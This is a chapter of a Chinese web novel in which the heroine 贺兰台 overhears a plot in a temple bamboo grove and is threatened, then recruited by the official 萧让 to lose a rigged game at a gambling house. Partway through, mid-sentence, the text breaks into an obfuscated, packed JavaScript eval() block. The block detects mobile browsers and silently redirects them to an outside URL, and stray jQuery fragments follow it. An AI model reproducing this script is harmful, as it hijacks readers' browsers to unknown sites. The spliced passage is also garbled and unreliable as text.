文趣网 > 其他小说 > 真太监也需要心理治疗吗? > 8. 派发任务
    贺兰台离开禅房的时候,申时已过半。

    她边走边琢磨住持他老人家的话,总觉得话里有话。

    院子里,几个小沙弥满院子跑。三四个小的追着个稍微大一些的,你追我赶,好不热闹。

    岁数大些的小沙弥跑得着急,绊了一跤,手里的东西骨碌碌滚出了出来。眼看就要掉进地缝里,贺兰台眼疾手快,将它抄了起来。

    小沙弥跑了过来,眼睛笑得弯弯的:“谢谢施主。”

    贺兰台把糖果还给他,拍拍他的小光头:“你们跑来跑去,就为了这颗糖?”

    旁边的几个小沙弥有点不好意思,手绞着衣角:“就剩一颗了,师兄不肯分给我们。”

    贺兰台觉得好笑,拉着大的走到小的中间。

    “那我再给你们变几颗,好不好?”

    小沙弥们眨眨眼睛:“变?”

    贺兰台接过饴糖,握在右手里,左手袖子潇洒地往前一挥,拉起一道小小的帘幕。待到右手再出现在大伙视野里时,手心已经多了三枚饴糖。

    “刚好四颗糖果,你们四个一人一颗。”

    小沙弥沙弥瞪大了眼睛,寂静才不过几秒钟,一下子就变得叽叽喳喳。

    “施主是怎么变的?”

    “这你都不知道,肯定是藏在袖子里呗。”

    “不对!我看见了,她袖子是空的!”

    贺兰台笑着把糖果塞给他们,“行了,你们可猜不着,拿去分了吧。”

    小沙弥们得了糖果,一个两个眉开眼笑,剥开糖纸就往嘴里塞。

    “施主真好!”

    “比后山那个怪人好多了!”

    贺兰台本已转身要走,听到这话,随口问道:“什么怪人?”

    “就竹林边上那个呀。”一个小沙弥嘴里含着糖,说话含混不清的,“穿黑衣服,老跟旁边人说话。”

    “是啊是啊,他旁边那个人,一直跟他说话,声音非常非常小。”另一个小沙弥凑过来,学着大人的模样压低声音,

    “我们扫地经过,那人瞪了我们一眼,吓得我们赶紧跑了。”

    “对对对,可凶了。”

    小沙弥们七嘴八舌说完,就嘻嘻哈哈地跑远了。

    贺兰台抬脚,方向是后山竹林。

    其实也没想清楚,可不知怎么的,就是想去。

    或者说,她觉得自己应该去。

    从杂物房到后山竹林,要走一段碎石路。两边是低矮的灌木丛,偶尔混着两株矮桃花。贺兰台走得很快,快到来不及提着裙子,裙摆沾了不少苍耳。

    她不知道自己为什么要去。

    也许是想知道刚才那几个小沙弥口里的怪人在做什么;也许是住持的话让她脑子太乱,需要一个出口;也许是……

    她也不知道。

    竹林到了。

    这里的竹子比她想象中更高更大。贺兰台沿着泥巴小路往深处走,几步过后,果然听见了说话声。

    声音不大,隔着几排竹子,断断续续的,要很仔细才能听清说了什么。

    “太后的人走了?”

    “是,刚走不久。”

    “住持怎么说?”

    “住持说,太后亲下的命令,他一个出家人,不能说什么,只得照办。”

    贺兰台皱眉,这是在说她的事吗?

    难原来是太后在搞她?

    贺兰台震惊了好一会儿,竹林里也沉默了一会儿。

    等到他们再说话时,一阵暖风吹过。竹叶哗啦啦地响了起来,把话音盖了个七七八八。

    “裴煦……寄了封信……截了……”

    裴煦?

    贺兰台往前迈一步,想听清楚些。

    踩到一根枯树枝。

    一声脆响。

    谈话声戛然而止。

    贺兰台懵了。哪里来的枯树枝?刚才明明没有!

    【叮——恭喜宿主再次触发本世界铁律:偷听必被逮!】系统欢脱的声音再次跳出来。

    【温馨提示,偷听需谨慎哦~】

    贺兰台暗骂一声,用强大的意志力生生定住了自己早已准备好逃跑的双腿。

    跑也没用,且会死得更快更惨。

    果然,不到几秒的功夫,一个人从竹林深处钻出来。步子并不算快,但是异常稳健。

    他穿着件灰衣服,满是戒备。一双眼很像狼的眼睛,带着锐利和杀气。

    他深深看了贺兰台一眼,整个人紧紧绷着,像拉个满弓的弦,随时会爆发。

    贺兰台下意识后退半步。

    随后,一只手出现在灰衣人身后,搭在他肩上,拍了拍。

    灰衣人原本紧绷的身体终于松弛下来,侧身往旁边让了让。

    萧让走了出来。

    他穿着件黑色的袍子,看起来简单,实际暗纹繁复,要光线斜斜地照上去,才能看见。

    看见贺兰台,他微微怔了一下。

    然后他又笑了。

    是贺兰台最熟悉的笑,也是他最常挂在嘴边的笑。嘴角弯弯,眼睛也弯弯,眼神里却没什么笑意。

    “贺兰小姐。”他颔首,“好巧。”

    “好巧,我来散步,大人您这是……”

    “听见多少?”萧让直接打断了她。

    “什么多少?”贺兰台试图装傻糊弄过去。

    萧让走了两步,在贺兰台跟前站定,低下头去看她。

    “我们的话,小姐听见多少?”

    声音比春风还要温和,但贺兰台知道那只是表象。实际上,答不好这个问题,后果会比得罪太后严重得多。

    所以她决定装傻。

    “什么听见多少,我不明白大人的话。我正在这儿散步,一走过来,就看见这位大哥从林子里窜出来,吓了我一跳。”

    灰衣人面无表情地,盯着她看。

    萧让也看着她,目光在她头顶上停了一会儿,又落到她那一双亮亮的眼睛上。

    “贺兰小姐不要每次出现在不该出现的地方,”他说,

    “都说是路过。”

    “大人误会了,我是听人说后山这儿风景好,所以来玩玩。”

    “听谁说?”

    “几个小孩子。”

    萧让点了点头,像是接受了这个回答。

    然后他抬起手。

    贺兰台以为他就让人要动手了,浑身都绷得紧紧的。

    但他只是捻掉了她肩膀上的一片竹叶。

    “有些话,小孩子说得,大人听不得。”他将那片竹叶夹在指间,轻轻一转,“小姐是大人,还是孩子?”

    贺兰台呼吸都轻了。

    “我……看情况。”

    萧让笑了出来。

    这次的笑和之前不大一样,像是真的被她逗乐了。

    笑归笑,他的眼睛始终没离开过她的脸庞。

    “看来这些日子,小姐过得确实不太平。”

    “托太后她老人家的福。”贺兰台话一出口,倒让萧让抓住了破绽。

    “小姐方才说,只是路过,什么也没听见。”萧让嘴角一侧上扬。

    “那小姐怎么知道,这些日子的事,与太后有关?”

    “我猜的。”贺兰台心脏狂跳,硬着头皮对上他的视线。“之前的宫宴,我惹到她了。”

    萧让看了她许久,久到影子都有了偏移。

    “猜得不错。”

    萧让没有再追问。他开启了一个新话题,脸上的笑意也淡了些。

    “小姐这几日大概吃了些苦头,有怨气?”

    被他这样一问,把两个时辰前,贺兰台压下去的怒火重勾了起来:“被整了当然有怨气。”

    萧让轻笑一声,问:“知道为什么吗?”

    贺兰台沉默了一会,给出答案。“大概是因为……我不听话。”

    “不听话。”萧让咂摸着这句话,将它重复了一遍。

    萧让笑了,只不过不似以往:“姑娘以为,不听话

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861300|212008||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的人会怎样?”

    “会死。”贺兰台不假思索,盯着萧让的眼睛,答道。说罢,还瞥了眼旁边那个随时待命的灰衣人。

    会被毒死。或者,被你的人弄死。

    “死是最简单的事。”

    萧让移开目光,看向别处。光线从竹叶缝隙里洒下来,落在他肩膀上。

    很少见的,他这会儿倒是彻底不笑了,可贺兰台觉得他不笑的时候,比笑的时候更让人发怵。

    贺兰台没来得及细想,萧让的目光又重新回到她身上。

    “太后要你吃点苦头。”他的语气恢复到一贯的平和,笑容也重新挂上了面庞,“长长记性。”

    “是吗,幸好我比较皮实。遇到天大的事,睡一觉,立马就好了。”贺兰台小心翼翼地回答。她瞥了眼萧让的脸色,又补充道:

    “所以大人不用操心我。”

    萧让哼了一声,像是不以为意,没说什么。

    接着,他挥手,那灰衣侍从便退后,径直去了入口看守。

    “贺兰小姐会千术?”

    见那人离开,贺兰台彻彻底底地松口气。脑子里紧绷的弦总算疲软下来。

    “那不算是千术,是魔……戏法。”

    “差不多,两者大抵相通。”萧让眉眼弯弯。

    “小姐可还记得答应了帮咱家做一件事?”

    “记得。”就绑架那次呗。

    “过几日,请小姐去一趟城东的聚财坊。”

    “聚财坊?那儿是干什么的?”

    “赌坊。”

    贺兰台眉毛皱得像拧紧的毛巾:“大人,你要看我不顺眼,直接在这把我手砍了得了。赌场是什么地方,管你是谁,用了千术赢钱还不都得竖着进横着出啊。”

    萧让嘴角抽了一下:“谁让你用千术赢了?”

    “用千术,输。输给一个叫刘四的,画像之后给你。”

    萧让一字一顿地补充道,“赢了算姑娘的,输了算我的。”

    “有什么区别?用千术就是出老千,出老千被抓到就是一顿毒打。管你是输是赢?”贺兰台理直气壮,“我又不是没看过话本子,赌坊里那些打手,管你什么身份,先打了再说。就是大人您去,恐怕也不一定能免得了挨打。”

    萧让沉默了一下。

    “你看的都是什么话本子?”

    “就……市面上那些。”贺兰台嘿嘿一笑,“《赌王恩仇录》《老千传奇》什么的。”

    此处鸣谢齐小姐,主要是听她讲的。

    萧让眼神复杂地看了她一眼,他决定跳过这个话题,“你不会被打。”

    “你怎么知道?”

    “因为我会安排人。”

    贺兰台将信将疑地看着他:“你的人靠谱吗?”

    萧让深吸了一口气。

    贺兰台注意到他吸气的时候,胸口微微起伏了一下,像是在忍什么。

    贺兰台感觉不妙,因为此时萧让正对她侧目而视。

    竹林里安静了一会儿。

    “贺兰台。”

    贺兰台刚准备开口破冰,闻言赶忙闭上嘴,背挺得笔直。

    这是萧让第一次喊她的全名。

    他望着竹林入口处,那个灰衣人站着的方向。

    “你觉得,我为什么没有杀你?”

    贺兰台咽了口口水,说不出话来。

    “因为你还有用。”

    萧让转过头来看她,他脸上甚至又浮起一点笑意。

    “记住,你今天能站在这里,不是因为你机灵、会说些俏皮话,也不是因为你命大。”

    他看着贺兰台惨白的脸色,笑容大了些。

    “别让我改主意。”

    【兴趣度变动!下降20%】

    “你既担心,便可找个人陪你。”萧让挑眉。“裴煦,如何?你的老熟人。”

    “这件事情也不让小姐白做。”

    “做完这件事,太后不会再动让小姐入宫的念头。”